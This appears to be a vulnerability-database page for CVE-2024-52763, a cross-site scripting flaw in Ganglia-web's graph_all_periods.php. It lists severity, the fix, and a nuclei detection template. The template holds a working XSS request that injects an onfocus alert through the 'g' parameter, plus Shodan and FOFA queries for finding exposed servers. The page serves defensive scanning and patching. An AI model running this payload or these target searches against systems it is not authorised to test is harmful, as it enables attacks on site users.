Browse / CVEs / CVE-2024-52763
CVE-2024-52763· ganglia / ganglia-web· CWE-79
Ganglia Web Interface (v3.7.3 - v3.7.5) - Cross-Site Scripting
mediumseverity
5.4CVSS score
0.7%likelihood of exploitation, next 30 days
52%of all CVEs are less likely
Readycheck to confirm it
A cross-site scripting (XSS) vulnerability in the component /graph_all_periods.php of Ganglia-web v3.73 to v3.75 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the "g" parameter.
Impact
Authenticated attackers can execute arbitrary JavaScript or HTML in victim browsers by injecting malicious payloads into the g parameter.
Fix
Update Ganglia-web to version 3.7.6 or later to address the XSS vulnerability in the graph parameter.
How to confirm it
Send: GET /ganglia/graph_all_periods.php?g=%22%22%20autofocus%20onfocus=alert(document.domain)//%22
Positive when: contains "\"\" autofocus onfocus=alert(document.domain)//\"" and "metricActions" AND contains in content_type "text/html"Run it with nuclei: nuclei -id CVE-2024-52763 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2024-52763
info:
name: Ganglia Web Interface (v3.7.3 - v3.7.5) - Cross-Site Scripting
author: DhiyaneshDK
severity: medium
description: |
A cross-site scripting (XSS) vulnerability in the component /graph_all_periods.php of Ganglia-web v3.73 to v3.75 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the "g" parameter.
impact: |
Authenticated attackers can execute arbitrary JavaScript or HTML in victim browsers by injecting malicious payloads into the g parameter.
remediation: |
Update Ganglia-web to version 3.7.6 or later to address the XSS vulnerability in the graph parameter.
reference:
- https://github.com/ganglia/ganglia-web/issues/382
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2024-52763
cwe-id: CWE-79
epss-score: 0.00652
epss-percentile: 0.51571
cpe: cpe:2.3:a:ganglia:ganglia-web:*:*:*:*:*:*:*:*
metadata:
vendor: ganglia
product: ganglia-web
shodan-query: http.html:"ganglia_form.submit()"
fofa-query: body="ganglia_form.submit()"
tags: cve,cve2024,xss,ganglia,vkev,vuln
http:
- raw:
- |
GET /ganglia/graph_all_periods.php?g=%22%22%20autofocus%20onfocus=alert(document.domain)//%22 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"" autofocus onfocus=alert(document.domain)//"'
- 'metricActions'
condition: and
- type: word
part: content_type
words:
- "text/html"References
Use this check only on systems you are authorised to test. Where the data comes from